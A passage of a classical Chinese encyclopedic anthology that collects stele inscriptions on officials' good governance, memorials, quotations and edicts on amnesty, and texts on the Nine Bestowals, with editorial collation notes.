之 业 居 多 . 缔 构 权 舆 . 断 鳌 之 功 相 半 . 固 以 英 声 驰 于 海 外 . 信 义 感 于 寰 中 . 主 器 攸 归 . 当 璧 斯 在 . 公 于 是 抗 表 长 信 . 清 宫 未 央 . 从 亿 兆 以 同 心 . 引 公 卿 而 定 策 . 驰 轻 轩 于 軨 轕 . 奉 待 驾 于 中 都 . 七 庙 之 基 . 于 焉 永 固 . 万 邦 之 本 . 由 此 克 宁 . 乃 授 司 空 公 南 徐 州 刺 史 . 于 是 镇 之 以 清 静 . 安 之 以 惠 和 . 望 杏 敦 耕 . 瞻 蒲 劝 穑 . 室 歌 千 耦 . 家 喜 万 钟 . 陌 上 成 阴 . 桑 中 可 咏 . 春 鹒 始 啭 . 必 具 笼 筐 . 秋 蟀 载 吟 . 竟 鸣 机 杼 . 或 肃 拜 灵 祀 . 躬 瞻 舞 雩 . 去 驾 拥 于 风 尘 . 还 旌 阻 于 飘 沐 . 京 坻 岁 积 . 非 劳 楚 堰 之 泉 . 仓 廪 年 丰 . 无 用 秦 渠 之 水 . 虽 复 东 过 小 县 . 夏 雨 逐 其 轻 轮 . 南 渡 沧 江 . 秋 涛 弭 其 张 盖 . 固 不 得 同 年 而 语 矣 . 若 夫 听 采 民 讼 . 昏 晓 必 通 . 召 引 轩 棂 . 躬 亲 辩 决 . 立 受 符 于 前 案 . 无 留 诣 于 后 曹 . 接 务 高 城 之 中 . 非 异 甘 棠 之 下 . 欣 欣 美 俗 . 济 济 都 尘 . 以 贾 琮 郭 贺 之 风 . 行 建 武 永 平 之 化 . 于 是 州 民 散 骑 常 侍 王 等 . 拜 表 宫 阙 . 请 扬 兹 美 化 . 树 彼 高 碑 . 民 欲 天 从 . 允 彰 丝 诰 . 铭 曰 . 郁 郁 三 象 . 茫 茫 九 州 . 绵 天 惨 沴 . 浃 地 虔 刘 . 赫 矣 高 祖 . 爰 清 国 雠 . 元 勋 佐 命 . 力 牧 风 侯 . 亦 既 旋 归 . 邦 家 有 晖 . 宫 亭 蠡 浦 . 奋 翅 高 飞 . 雷 卷 勍 寇 . 风 行 国 威 . 文 身 被 发 . 作 贡 来 绥 . 我 皇 纂 武 . 攀 号 东 序 . 谒 渭 同 周 . 迎 门 惟 吕 . 流 矢 为 暴 . 搀 枪 斯 举 . 喋 喋 苍 黎 . 危 危 刀 俎 . 自 我 徂 征 . 妖 氛 克 平 . 爰 驱 大 彘 . 实 剪 长 鲸 . 北 震 巢 浦 . 南 俘 灌 城 . 青 羌 卷 介 . 赤 狄 回 兵 . 蹈 舞 难 逾 . 歌 谣 靡 宣 . 曰 我 黎 庶 . 俱 祈 上 玄 . 山 移 两 越 . 海 变 三 田 . 公 为 上 相 . 复 倍 斯 年 .\n又 广 州 刺 史 欧 阳 顾 ○ 本 集 作 頠 . 德 政 碑 曰 . 弱 水 导 其 洪 源 . 轩 台 表 其 增 殖 . 懿 哉 少 府 . 师 储 皇 于 二 京 . 盛 矣 司 徒 . 传 儒 宗 于 九 世 . 广 陵 邕 邕 . 族 擅 江 右 . 勃 海 赫 赫 . 名 重 洛 阳 . 若 夫 岳 镇 龙 璠 . 星 悬 鹑 火 . 衡 山 诞 其 高 德 . 相 ○ 本 集 作 湘 . 水 降 其 清 辉 . 千 仞 孤 摽 . 万 顷 无 度 . 年 当 小 学 . 志 冠 成 童 . 因 孝 为 心 . 欲 仁 成 体 . 屯 骑 府 君 . 早 弃 荣 禄 . 易 箦 之 日 . 几 将 毁 终 . 不 杖 之 言 . 深 非 通 制 . 遗 赀 巨 万 . 富 拟 猗 顿 . 裁 变 槐 榆 . 并 贬 ○ 本 集 作 赈 . 宗 戚 . 南 茨 大 麓 . 北 眺 清 湘 . 得 性 于 橘 洲 之 间 . 披 书 于 杏 坛 之 上 . 三 冬 文 史 . 五 经 纵 横 . 频 致 嘉 招 . 确 乎 难 拔 . 既 而 帝 启 黄 枢 . 神 亡 赤 伏 . 天 地 崩 霣 . 川 冢 沸 腾 . 群 ● 酋 豪 . 更 为 祸 乱 . 朝 披 羽 檄 . 夜 照 爟 烽 . 浴 铁 蔽 于 山 原 . 摐 金 骇 于 楼 堞 . 公 疲 兵 屡 出 . 独 据 胡 床 . 勍 贼 重 围 . 尚 书 几 . 扬 灰 既 散 . 驾 棒 将 挥 . 咸 克 凶 梁 . 以 保 衡 服 . 常 以 二 主 蒙 尘 . 三 光 掩 曜 . 出 入 逾 于 尝 胆 . 殷 忧 独 其 抚 心 . 不 治 第 宅 . 深 符 去 病 . 志 枭 群 丑 . 弥 同 越 石 . 自 禹 珪 既 锡 . 尧 玉 已 传 . 物 变 讴 谣 . 风 移 笙 管 . 商 周 之 际 . 孤 竹 尚 其 哀 歌 . 曹 刘 之 间 . 苏 子 犹 其 狂 哭 . 况 番 禺 连 帅 . 寔 谓 宗 枝 . 迷 我 天 机 . 自 窥 梁 鼎 . 以 公 威 名 本 重 . 逼 统 前 军 . 干 数 难 违 . 剥 象 终 悔 . 高 祖 永 言 惟 旧 . 弥 念 奇 功 . 即 训 皇 家 . 深 弘 朝 纲 . 槛 车 才 至 . 舆 衬 已 焚 . 祝 史 祅 于 夷 吾 . 坛 场 延 于 井 伯 . 绸 缪 安 乐 . 造 次 讦 谋 . 爰 珥 丰 貂 . 允 光 金 蟪 . 但 八 柱 之 土 . 蛮 夷 不 宾 . 九 疑 之 阳 . 兵 凶 岁 积 . 以 公 昔 在 衡 皋 . 深 留 风 爱 . 仁 恩 可 以 怀 猛 ○ 原 讹 犹 . 据 冯 校 本 改 . 兽 . 威 名 可 以 惧 啼 儿 . 乃 授 持 节 散 骑 常 侍 衡 州 刺 史 . 我 皇 帝 从 唐 侯 以 胤 国 . 屈 启 筮 而 登 家 . 一 恭 宝 祚 . 开 定 江 沔 . 三 改 琁 衡 . 苞 罗 湘 峡 . 昔 中 宗 屈 申 于 处 仲 . 高 祖 遗 恨 于 平 城 . 汉 武 承 基 . 方 通 沙 塞 . 晋 明 绍 运 . 裁 平 姑 熟 . ○ 本 集 作 孰 . 方 其 盛 业 . 绰 有 光 前 . 践 祚 之 初 . 进 公 位 征 南 将 军 广 州 刺 史 . 又 都 督 东 衡 州 二 十 州 诸 军 事 宜 . 公 乃 务 是 民 天 . 敦 其 分 地 . 火 耕 水 耨 . 弥 亘 原 野 . 贼 盗 皆 偃 . 工 贾 竞 臻 . 鬻 米 商 盐 . 盈 衢 满 肆 . 新 垣 既 筑 外 户 无 扃 . 脂 脯 豪 家 . 钟 鼎 为 乐 . 扬 袪 洒 汗 . 振 雨 流 风 . 市 有 千 金 之 租 . 田 多 万 箱 之 咏 . 僧 释 慧 羡 等 . 来 朝 终 阙 . 备 启 丹 诚 . 乞 于 大 路 康 庄 . 式 刊 丰 琰 . 庶 樊 卿 宝 鼎 . 复 述 台 司 之 功 . 羊 叟 高 碑 . 更 纪 征 南 之 德 . 于 是 跪 开 黄 素 . 爰 登 紫 泥 . 鉴 此 诚 祈 . 皆 如 所 奏 . 乃 诏 庸 臣 . 为 其 铭 曰 . 赫 赫 宗 陈 . 桓 桓 鼎 臣 . 千 乘 建 学 . 五 典 攸 因 . 盛 德 斯 远 . 公 门 日 新 . 嵩 高 惟 岳 . 贶 甫 生 申 . 去 衡 移 广 . 迁 征 自 镇 . 悠 悠 铜 界 . 藐 藐 金 邻 . 莫 远 非 督 . 无 思 不 宾 . 三 江 靡 浪 . 五 岭 奚 尘 . 式 歌 式 舞 . 仁 哉 至 仁 . 公 其 飨 福 . 于 万 斯 春 .\n又 晋 陵 太 守 王 励 德 政 碑 曰 . 若 夫 睢 陵 世 传 . 已 详 载 德 之 华 . 徐 州 先 贤 . 亦 着 清 风 之 美 . 伟 哉 文 献 . 光 启 中 兴 . 郭 茎 表 其 深 源 . 何 筹 惭 其 远 庆 . 岂 惟 桓 氏 之 鸣 玉 . 张 家 之 珥 貂 . 袁 姓 之 朱 衣 . 杨 宗 之 华 毂 . 又 有 似 ○ 本 集 作 佽 . 飞 遮 列 . 班 弓 夹 门 . 濯 龙 俯 望 . 缇 骑 盈 道 . 奕 世 如 此 . 何 其 盛 哉 . 君 以 蓝 田 美 玉 . 大 海 明 珠 . 灼 灼 美 其 声 芳 . 英 英 照 其 符 彩 . 风 神 雅 淡 . 识 量 宽 和 . 既 有 崔 琰 之 须 眉 . 非 无 郑 玄 之 腰 带 . 烂 烂 如 高 岩 下 电 . 骚 骚 若 长 松 里 风 . 势 利 无 扰 于 胸 衿 . 行 藏 不 概 于 怀 抱 . 家 门 雍 睦 . 孝 友 为 风 . 上 交 不 谄 . 下 交 不 渎 . 脱 貂 救 厄 . 情 靡 矜 愆 . 释 马 穷 途 . 唯 济 危 殆 . 至 于 网 罗 图 籍 . 脂 粉 艺 文 . 学 侣 揖 其 精 微 . 词 宗 称 其 妙 绝 . 出 为 仁 武 将 军 晋 陵 太 守 . 五 鸡 三 彘 . 勤 恤 有 方 . 问 羊 知 马 . 钩 距 兼 设 . 济 北 移 树 . 累 政 之 所 未 治 . 汝 南 争 水 . 连 年 之 所 无 断 . 一 朝 明 决 . 曾 不 留 滞 . 四 民 商 贩 . 咸 用 殷 阜 . 康 哉 宝 运 . 美 矣 良 臣 . 胄 自 澧 水 . 源 于 洛 滨 . 公 侯 世 及 . 宰 辅 相 因 . 曰 我 民 秀 . 山 川 降 神 . 风 情 穆 穆 . 孝 友 恂 恂 . 学 则 经 笥 . 文 为 世 珍 . 高 风 远 矣 . 旷 代 难 伦 . 鼎 铉 虚 职 . 台 阶 未 臻 . 安 知 霜 霰 . 遽 夭 松 椿 . 碣 石 斯 表 . 民 情 既 陈 . 徒 然 下 拜 . 何 报 阳 春 .\n周 王 褒 上 庸 公 陆 腾 勒 功 碑 曰 . 在 昔 洞 庭 彭 蠡 . 三 苗 有 远 窜 之 君 . 太 室 阳 城 . 九 州 无 同 姓 之 国 . 是 知 周 卫 设 险 . 所 务 非 山 川 . 河 岳 作 固 . 所 宝 惟 休 德 . 至 于 三 峡 蹇 产 . 九 折 峥 嵘 . 高 峰 寻 云 . 深 谷 无 景 . 秦 开 汉 ● . 虽 阻 荷 戟 之 虞 . 魏 塞 晋 通 . 终 因 束 马 之 利 . 我 大 周 开 辟 宇 宙 . 混 同 文 轨 . 御 六 气 于 天 枢 . 顿 八 弦 于 地 络 . 彭 濮 未 恭 . 邛 笮 不 讨 . 外 凭 剑 道 之 难 . 内 负 铜 梁 之 阨 . 大 将 军 上 庸 公 . 仗 国 威 灵 . 奉 辞 伐 罪 . 长 戟 万 队 . 巨 舰 千 舳 . 板 楯 酋 豪 . 斯 榆 君 长 . 历 稔 逋 寇 . 累 代 稽 诛 . 廓 清 江 源 . 荡 涤 巴 濮 . 若 夫 荆 门 千 里 . 蜀 置 永 安 之 宫 . 巴 水 三 回 . 吴 阻 夷 陵 之 县 . 巫 峡 使 君 之 滩 . 沦 波 洽 没 . 建 平 督 邮 之 道 . 栈 径 威 纡 . 路 阻 蛮 陬 . 途 横 夷 落 . 擅 强 专 险 . 轻 法 侮 吏 . 天 子 爰 诏 有 司 . 公 奉 命 天 讨 . 星 言 载 涂 . 指 日 遄 迈 . 册 授 公 大 将 军 信 州 刺 史 . 韩 信 召 拜 . 军 中 致 设 坛 之 礼 . 卫 青 出 征 . 临 河 闻 后 距 之 令 . 夫 钟 鼎 大 礼 之 器 . 昭 德 必 书 . 金 石 不 朽 之 质 . 庸 勋 斯 树 . 某 等 乃 建 碑 于 某 地 . 敢 作 颂 云 . 遐 观 命 氏 . 眇 求 世 禄 . 龙 图 纪 河 . 鸿 渐 于 陆 . 霸 楚 传 姓 . 命 吴 启 族 . 君 子 笃 生 . 降 灵 惟 岳 . 朝 阳 擢 彩 . 荆 山 曜 璞 . 巴 庸 自 擅 . 彭 濮 称 王 . 南 泊 僰 道 . 西 通 夜 郎 . 内 凭 玉 垒 . 外 阻 铜 梁 . 介 视 荒 服 . 斗 绝 边 疆 . 赫 赫 南 仲 . 堂 堂 方 叔 . 天 子 命 我 . 遐 征 越 逐 . 窦 氏 车 骑 . 去 病 冠 军 . 封 山 刊 石 . 镌 名 克 勋 . 远 隔 年 代 . 悬 感 风 云 . 盛 德 必 祀 . 千 载 斯 文 .\n隋 江 总 吴 兴 郡 庐 陵 王 德 政 碑 曰 . 卓 尔 吾 王 . 天 人 可 拟 . 早 成 夙 智 . 谦 怀 虚 己 . 偃 息 流 略 . 翱 翔 文 史 . 三 雍 雅 对 . 九 师 名 理 . 好 古 如 斯 . 学 兼 之 矣 . 睢 阳 肇 构 . 碣 石 初 开 . 赐 田 待 士 . 榜 道 求 材 . 剖 符 彭 国 . 述 职 琅 台 . 去 谣 曙 鼓 . 留 歌 暮 来 .\n【 表 】 梁 刘 孝 仪 为 雍 州 柳 津 请 留 刺 史 晋 安 王 表 曰 . 楚 备 宝 臣 . 秦 兵 不 入 . 齐 多 君 子 . 魏 ● 耻 昭 . 足 使 文 公 惧 而 侧 席 . 孟 轲 叹 而 废 寝 . 敢 缘 借 寇 之 愿 . 切 望 申 耿 之 恩 . 陛 下 昔 在 潜 龙 . 因 兹 或 跃 . 固 以 陋 膴 膴 于 周 原 . 包 之 佳 气 . 昔 次 君 出 抚 . 近 驾 班 轮 . 乔 卿 在 政 . 遥 授 衮 服 焉 . 冯 熊 轼 而 督 盗 . 御 龙 章 而 行 部 . 无 亏 燮 理 . 有 光 司 牧 .\n【 教 】 梁 简 文 帝 图 雍 州 贤 能 刺 史 教 曰 . 冀 州 表 朱 穆 之\n象 . 太 丘 有 陈 寔 之 画 . 或 有 留 爱 士 氓 . 或 有 传 芳 史 籍 .\n昔 越 王 镕 金 . 尚 思 范 蠡 . 汉 军 染 画 . 犹 高 贾 彪 . 矧 彼 前\n贤 . 宁 忘 景 慕 . 可 并 图 象 厅 事 . 以 旌 厥 善 .\n周 官 曰 . 国 君 过 市 . 刑 人 赦 .\n尚 书 曰 . 象 以 典 刑 . 流 宥 五 刑 . 鞭 作 官 刑 . 朴 作 教 刑 . 眚 灾 肆 赦 . 怙 终 贼 刑 .\n又 曰 . 五 刑 之 疑 有 赦 . 五 罚 之 疑 有 赦 .\n论 语 曰 . 赦 小 过 . 举 贤 才 . 管 子 曰 . 凡 赦 者 . 小 利 而 大 害 也 . 久 而 不 胜 其 祸 . 无 赦 者 . 小 害 而 大 利 也 . 久 而 不 胜 其 福 . 故 赦 者 . 奔 马 之 委 辔 也 .\n汉 书 曰 . 宣 帝 元 年 诏 曰 . 迺 者 凤 皇 集 泰 山 陈 留 . 甘 露 降 未 央 宫 . 其 赦 天 下 .\n史 记 曰 . 陶 朱 公 中 子 杀 人 . 囚 于 楚 . 朱 公 曰 . 杀 人 死 . 职 也 . 使 少 子 往 视 之 . 装 黄 金 千 镒 . 长 男 请 行 . 公 不 许 . 长 男 曰 . 长 子 家 督 也 . 今 不 遣 . 是 吾 不 肖 . 欲 自 杀 . 不 得 已 . 乃 为 一 封 书 及 金 . 令 遗 故 所 善 庄 生 . 庄 生 乃 见 王 曰 . 某 星 犯 某 宿 . 宜 以 德 报 . 王 乃 使 使 封 三 钱 之 府 . 长 男 为 王 当 赦 . 弟 固 当 出 . 见 庄 生 曰 . 弟 今 自 赦 . 固 辞 去 . 乃 取 金 . 庄 生 耻 为 儿 子 所 卖 . 乃 入 见 王 曰 . 陶 朱 公 子 多 赂 王 左 右 . 今 赦 . 恐 失 望 . 王 遂 杀 之 . 载 丧 而 归 .\n东 观 汉 记 曰 . 吴 汉 疾 笃 . 车 驾 亲 临 . 问 所 欲 言 . 对 曰 . 臣 愚 无 所 识 知 . 唯 愿 慎 无 赦 而 已 .\n谢 承 后 汉 书 曰 . 学 中 诸 生 . 与 李 膺 等 更 相 褒 重 . 莫 不 思 其 贬 议 . 时 河 内 张 成 . 善 说 风 角 . 推 占 当 赦 . 遂 教 子 杀 人 . 李 膺 为 河 南 尹 . 督 之 . 促 收 捕 . 既 而 逢 宥 获 免 . 膺 愈 愤 . 竟 案 杀 之 . 初 成 以 方 伎 交 通 宦 官 . 帝 亦 颇 讯 其 占 . 成 弟 子 牢 脩 . 因 上 书 诬 告 膺 等 . 多 养 太 学 游 士 . 交 结 诸 郡 生 徒 . 更 相 驱 驰 . 共 为 部 党 . 于 是 天 子 震 怒 . 班 下 郡 国 . 逮 捕 党 人 .\n续 汉 书 曰 . 建 武 二 年 . 诏 曰 . 其 赦 天 下 . 惟 残 贼 用 刑 戮 深 刻 . 狱 多 冤 人 . 朕 甚 愍 之 . 自 今 已 后 . 有 犯 者 . 将 正 厥 辜 .\n袁 崧 后 汉 书 曰 . 贾 彪 . 字 伟 节 . 游 京 师 . 与 郭 林 宗 等 为 谈 论 之 首 . 一 言 一 行 . 天 下 以 为 准 的 . 党 事 起 . 彪 谓 同 志 曰 . 吾 不 西 行 . 大 难 不 解 . 即 入 关 . 设 方 略 . 天 子 为 之 大 赦 .\n华 阳 国 志 曰 . 诸 葛 亮 时 . 有 言 公 惜 赦 者 . 亮 答 曰 . 治 世 以 大 德 . 不 以 小 惠 . 故 匡 衡 吴 汉 . 不 愿 为 赦 . 先 帝 亦 言 . 吾 周 旋 陈 元 方 郑 康 成 间 . 每 见 启 告 治 乱 之 道 悉 矣 . 曾 不 语 赦 也 . 若 刘 景 叔 ○ 太 平 御 览 六 百 五 十 二 作 升 . 父 子 . 岁 岁 赦 宥 . 何 益 于 治 .\n蜀 志 曰 . 孟 光 . 字 孝 裕 . 延 熙 九 年 秋 . 大 赦 . 光 众 责 大 将 军 贾 ○ 太 平 御 览 六 百 五 十 二 作 费 . 祎 曰 . 夫 赦 者 . 偏 枯 之 物 . 非 明 世 所 宜 有 也 . 衰 弊 穷 极 . 必 不 得 已 . 然 后 乃 可 权 而 行 之 尔 .\n裴 頠 集 曰 . 臣 闻 感 神 以 政 . 应 变 以 诚 . 故 桑 谷 之 异 . 以 勉 己 而 消 . 汉 末 屡 赦 . 犹 凌 不 反 . 由 此 言 之 . 上 协 宿 度 . 下 宁 万 国 . 唯 在 贤 能 . 慎 厥 庶 政 . 殆 非 孤 赦 所 能 增 损 也 .\n郭 子 曰 . 孙 秀 降 晋 . 武 帝 厚 存 宠 之 . 妻 以 姨 妹 蒯 氏 . 室 家 甚 穆 . 妻 尝 妒 秀 . 乃 骂 为 貉 子 . 秀 大 不 平 之 . 遂 出 不 复 入 . 蒯 氏 自 悔 责 . 请 救 于 帝 . 时 大 赦 . 群 臣 咸 见 . 既 出 . 帝 独 留 秀 . 从 容 言 曰 . 天 下 旷 荡 . 蒯 夫 人 可 得 从 其 例 不 . 秀 免 冠 谢 . 遂 为 夫 妇 如 初 . 事 具 人 部 妒 篇 .\n风 角 书 曰 . 春 甲 寅 日 . 风 高 去 地 三 四 丈 . 鸣 条 以 上 . 常 从 申 上 来 . 为 大 赦 . 期 六 十 日 .\n【 赋 】 后 汉 崔 寔 大 赦 赋 曰 . 惟 汉 之 十 一 年 四 月 . 大 赦 . 涤 恶 弃 秽 . 与 海 内 为 始 . 亹 亹 乎 恩 ○ 初 学 记 二 十 作 思 . 隆 平 之 进 ○ 初 学 记 作 道 . 也 . 寔 就 而 赋 焉 . 以 为 五 帝 异 制 . 三 王 殊 事 . 然 其 承 天 据 地 . 兴 设 法 制 . 一 也 . 陛 下 以 苞 天 之 大 . 承 前 圣 之 迹 . 朝 干 干 于 万 机 . 夕 处 敬 以 厉 惕 . 然 犹 痛 刑 之 未 错 . 厥 将 大 赦 . 所 以 创 太 平 之 迹 . 旌 颂 声 之 期 . 新 邦 家 而 更 始 . 垂 祉 羡 乎 将 来 . 此 诚 不 可 夺 也 . 方 将 披 玄 云 . 照 景 星 . 获 嘉 禾 于 疆 亩 . 数 蓂 荚 于 阶 庭 . 拦 麒 麟 之 肉 角 . 聆 凤 皇 之 和 鸣 . 农 夫 欢 于 时 雨 . 工 女 乐 于 机 声 . 虽 皇 羲 之 神 化 . 尚 何 斯 之 太 宁 .\n【 诏 】 后 魏 温 子 升 孝 庄 帝 杀 尔 朱 荣 诏 曰 . 盖 天 道 忌 盈 . 人 伦 疾 恶 . 疏 而 不 漏 . 刑 之 无 舍 . 是 以 吕 霍 之 门 . 祸 谴 所 伏 . 梁 董 之 家 . 咎 征 斯 在 . 尔 朱 荣 爰 自 晋 阳 . 同 忧 王 室 . 义 旗 之 建 . 大 会 孟 津 . 与 其 乐 推 . 其 成 鸿 业 . 论 其 所 由 . 乃 有 勋 效 . 但 致 远 恐 泥 . 终 之 寔 难 . 习 未 崇 朝 . 豺 声 已 露 . 既 位 极 宰 衡 . 地 逾 齐 鲁 . 容 养 之 至 . 岂 复 是 过 . 但 心 如 猛 火 . 山 林 无 以 供 其 暴 . 意 等 漏 卮 . 江 河 无 以 充 其 溢 . 既 见 金 革 稍 宁 . 方 隅 渐 泰 . 不 推 天 功 . 谓 为 己 力 . 与 夺 任 情 . 臧 否 肆 意 . 无 君 之 迹 . 日 月 已 甚 . 乃 有 裂 冠 毁 冕 之 心 . 将 为 拔 本 塞 源 之 事 . 天 既 厌 乱 . 人 亦 悔 祸 . 将 而 有 闻 . 罪 无 攸 纵 . 是 而 可 怀 . 孰 不 可 忍 . 并 以 伏 辜 . 自 贻 伊 戚 . 元 恶 既 除 . 人 神 庆 泰 . 便 可 大 赦 天 下 .\n又 迁 都 拜 庙 邺 宫 赦 文 曰 . 建 国 所 先 . 理 属 于 宗 庙 . 立 事 为 大 . 礼 归 于 禋 祀 . 大 丞 相 渤 海 王 . 神 武 命 世 . 重 匡 颓 历 . 导 塞 源 于 将 竭 . 扶 神 器 于 已 倾 . 立 天 地 之 大 功 . 成 人 臣 之 重 义 . 朕 以 冲 昧 . 猥 当 乐 推 . 关 路 多 虞 . 衿 带 难 固 . 瞻 言 往 事 . 取 则 前 脩 . 乃 袭 去 酆 . 用 追 迁 亳 . 定 鼎 邺 都 . 卜 世 惟 永 . 民 用 子 来 . 功 成 不 日 . 今 清 庙 初 兴 . 閟 宫 始 就 . 灵 祗 萃 止 . 祖 考 来 格 . 神 光 夜 照 . 香 气 朝 闻 . 令 月 吉 辰 . 躬 展 诚 敬 . 时 和 气 婉 . 景 丽 云 柔 . 四 表 来 庭 . 万 国 在 位 . 哀 乐 相 交 . 感 庆 兼 集 . 固 宜 观 象 雷 雨 . 布 宽 大 之 恩 . 取 类 泽 风 . 申 肆 眚 之 令 . 可 大 赦 天 下 .\n北 齐 邢 子 才 为 受 禅 登 极 赦 诏 曰 . 无 德 而 称 . 化 刑 以 礼 . 不 言 而 信 . 先 春 后 秋 . 故 知 恻 隐 之 心 . 天 地 一 揆 . 弘 宥 之 道 . 今 古 同 风 . 朕 以 寡 薄 . 功 烈 无 纪 . 昔 先 献 武 王 . 值 魏 世 不 造 . 四 海 幅 裂 . 九 鼎 行 出 . 祭 器 无 归 . 乃 驱 御 侯 伯 . 大 号 燕 赵 . 拯 厥 颠 坠 . 俾 亡 若 存 . 父 襄 王 . 外 挺 武 功 . 内 资 明 德 . 纂 戎 先 业 . 辟 土 服 远 . 年 逾 二 纪 . 世 历 两 都 . 狱 讼 有 适 . 讴 歌 斯 在 . 魏 帝 俯 遵 历 数 . 念 在 褰 裳 . 远 取 唐 虞 . 终 同 脱 屣 . 实 幽 忧 未 已 . 志 在 阳 城 . 而 群 公 卿 士 . 诚 守 逾 切 . 遂 属 代 终 . 居 于 民 上 . 如 涉 深 冰 . 有 倦 终 朝 . 始 发 晋 阳 . 九 尾 呈 瑞 . 升 坛 告 天 . 赤 雀 效 祉 . 惟 尔 文 武 不 二 之 臣 . 股 肱 爪 牙 之 将 . 左 右 先 王 . 光 隆 大 业 . 永 言 诚 烈 . 共 兹 休 庆 . 然 三 皇 存 教 . 非 易 可 免 . 七 名 改 . 庸 可 庶 几 . 思 共 亿 兆 . 同 始 兹 日 .\n【 教 】 梁 陆 倕 豫 章 王 拜 后 赦 教 曰 . 夫 议 狱 缓 死 . 着 自\n令 图 . 疑 罪 惟 轻 . 闻 诸 雅 诰 . 是 以 虞 经 恻 隐 . 流 涕 冬 决\n. 钟 意 垂 仁 . 哀 矜 寒 送 . 吾 以 虚 薄 . 夙 颁 宠 章 . 光 宅 襟\n险 . 奄 有 全 粤 . 非 有 沛 献 矜 严 . 空 纡 青 组 . 东 平 智 思 .\n徒 举 赤 帷 . 思 所 以 仰 述 皇 猷 . 导 扬 弘 泽 . 遵 彼 下 车 . 譬\n兹 解 网 .\n治 政 部 下 锡\n命 荐 举 奉 使\n韩 诗 外 传 曰 . 诸 侯 之 有 德 . 天 子 锡 之 . 一 锡 车 马 . 再 锡 衣 服 . 三 锡 虎 贲 . 四 锡 乐 器 . 五 锡 纳 陛 . 六 锡 朱 户 . 七 锡 弓 矢 . 八 锡 鈇 钺 . 九 锡 秬 鬯 . 谓 曰 九 锡 .\n易 曰 . 王 三 锡 命 怀 万 邦 也 .\n尚 书 曰 . 平 王 锡 晋 文 侯 秬 鬯 圭 瓒 . 作 文 侯 之 命 .\n左 传 曰 . 王 命 尹 氏 策 晋 文 公 为 侯 伯 . 锡 之 大 辂 之 服 . 戎 辂 之 服 . 彤 弓 一 . 彤 矢 百 . 玈 弓 矢 千 . 秬 鬯 一 卤 . 虎 贲 三 百 人 .\n范 晔 后 汉 书 曰 . 董 昭 等 欲 共 进 曹 操 爵 国 公 . 九 锡 备 物 . 密 以 访 荀 彧 . 彧 曰 . 曹 公 本 兴 义 兵 . 以 匡 振 汉 朝 . 虽 勋 德 崇 着 . 犹 禀 忠 贞 之 节 . 君 子 爱 人 以 德 . 不 宜 如 此 . 事 遂 寝 . 操 心 不 能 平 . 会 南 征 孙 权 . 彧 劳 军 于 谯 . 表 辄 留 彧 .\n晋 中 兴 书 曰 . 烈 宗 冲 幼 . 桓 温 威 震 外 内 . 人 情 噂 . 互 生 同 异 . 谢 安 与 王 坦 之 . 尽 忠 匡 翼 . 讽 朝 廷 为 九 锡 . 使 骁 骑 将 军 袁 宏 具 草 . 时 温 已 疾 笃 . 宏 以 呈 安 . 安 视 . 辄 云 不 好 . 更 勾 改 之 . 使 弥 历 旬 日 . 至 于 温 薨 . 锡 命 遂 寝 .\n【 文 】 后 汉 潘 勖 策 魏 武 帝 九 锡 命 文 曰 . 朕 以 不 德 . 少 遭 愍 凶 . 越 自 西 土 . 迁 于 唐 卫 . 当 此 之 时 . 危 若 缀 旒 然 . 宗 庙 乏 主 . 社 稷 无 位 . 群 凶 觊 觎 . 连 城 带 邑 . 一 人 尺 土 . 朕 无 获 焉 . 即 我 高 祖 之 命 . 将 坠 于 地 . 朕 用 夙 兴 假 寐 . 震 悼 于 厥 心 . 乃 诱 天 衷 . 诞 育 丞 相 . 保 乂 我 皇 家 . 弘 济 于 艰 难 . 朕 实 赖 之 . 今 将 授 君 典 礼 . 其 敬 听 朕 命 . 昔 者 董 卓 初 兴 国 艰 . 群 后 释 位 . 以 谋 王 室 . 君 则 摄 进 . 首 启 戎 行 . 此 君 之 忠 于 本 朝 也 . 后 乃 黄 巾 反 易 天 常 . 侵 我 三 州 . 延 于 平 民 . 君 又 讨 之 . 翦 除 其 迹 . 以 宁 东 夏 . 此 又 君 之 功 也 . 君 有 定 天 下 之 功 . 重 之 以 明 德 . 班 叙 海 内 . 宣 美 风 俗 . 旁 施 劝 教 . 恤 慎 刑 狱 . 敦 崇 帝 族 . 援 继 绝 世 . 旧 德 前 功 . 罔 不 咸 秩 . 虽 伊 尹 格 于 皇 天 . 周 公 光 于 四 海 . 方 之 蔑 如 也 . 朕 闻 先 王 并 建 明 德 . 祚 之 以 土 . 分 之 以 民 . 崇 其 宠 章 . 备 其 礼 物 . 所 以 蕃 卫王 室 . 左 右 厥 世 也 . 其 在 周 成 . 管 蔡 不 静 . 惩 难 念 功 . 乃 使 邵 康 公 锡 齐 太 公 履 . 东 至 于 海 . 西 至 于 河 . 南 至 于 穆 陵 . 北 至 于 无 棣 . 五 侯 九 伯 . 实 得 征 之 . 爰 及 襄 王 . 亦 有 楚 人 不 供 王 职 . 又 命 晋 文 . 登 为 侯 伯 . 锡 以 二 辂 . 虎 贲 鈇 钺 . 秬 鬯 弓 矢 . 大 启 南 阳 . 世 作 盟 主 . 故 周 室 之 不 坏 . 繄 二 国 是 赖 . 今 君 称 丕 显 明 德 . ○ 魏 志 一 . 文 选 三 十 五 作 德 明 . 此 倒 . 保 朕 . ○ 魏 志 . 文 选 朕 下 有 躬 字 . 此 脱 . 奉 答 天 命 . 导 扬 弘 烈 . 绥 爰 九 域 . 莫 不 率 俾 . 功 高 于 伊 周 . 而 赏 卑 乎 齐 晋 . 朕 甚 恧 焉 . 今 以 十 郡 . 封 君 为 魏 公 . 锡 君 玄 土 . 苴 以 白 茅 . 爰 契 尔 龟 . 用 建 冢 祖 . 昔 在 周 室 . 毕 公 毛 公 . 入 为 卿 佐 . 周 召 师 保 . 出 为 二 伯 . 外 内 之 任 . 君 实 宜 之 . 其 以 丞 相 领 冀 州 牧 如 故 . 又 加 君 九 锡 . 其 敬 听 朕 命 . 魏 国 置 丞 相 以 下 . 群 卿 百 寮 . 皆 如 汉 初 诸 侯 之 制 . 君 往 钦 哉 . 敬 服 朕 命 . 简 恤 尔 众 . 时 亮 庶 功 . 用 终 尔 显 德 . 对 扬 我 高 祖 之 休 命 .\n魏 文 帝 策 命 孙 权 九 锡 文 曰 . 盖 圣 王 之 法 . 以 德 诏 爵 . 以 功 制 禄 . 劳 大 者 禄 厚 . 德 盛 者 礼 丰 . 故 叔 旦 有 夹 辅 之 勋 . 太 公 有 鹰 扬 之 功 . 并 启 土 宇 . 并 受 备 物 . 所 以 表 章 元 功 . 殊 异 贤 哲 也 . 朕 以 不 德 . 承 运 革 命 . 思 齐 先 代 . 坐 而 待 旦 . 惟 君 天 姿 忠 亮 . 命 世 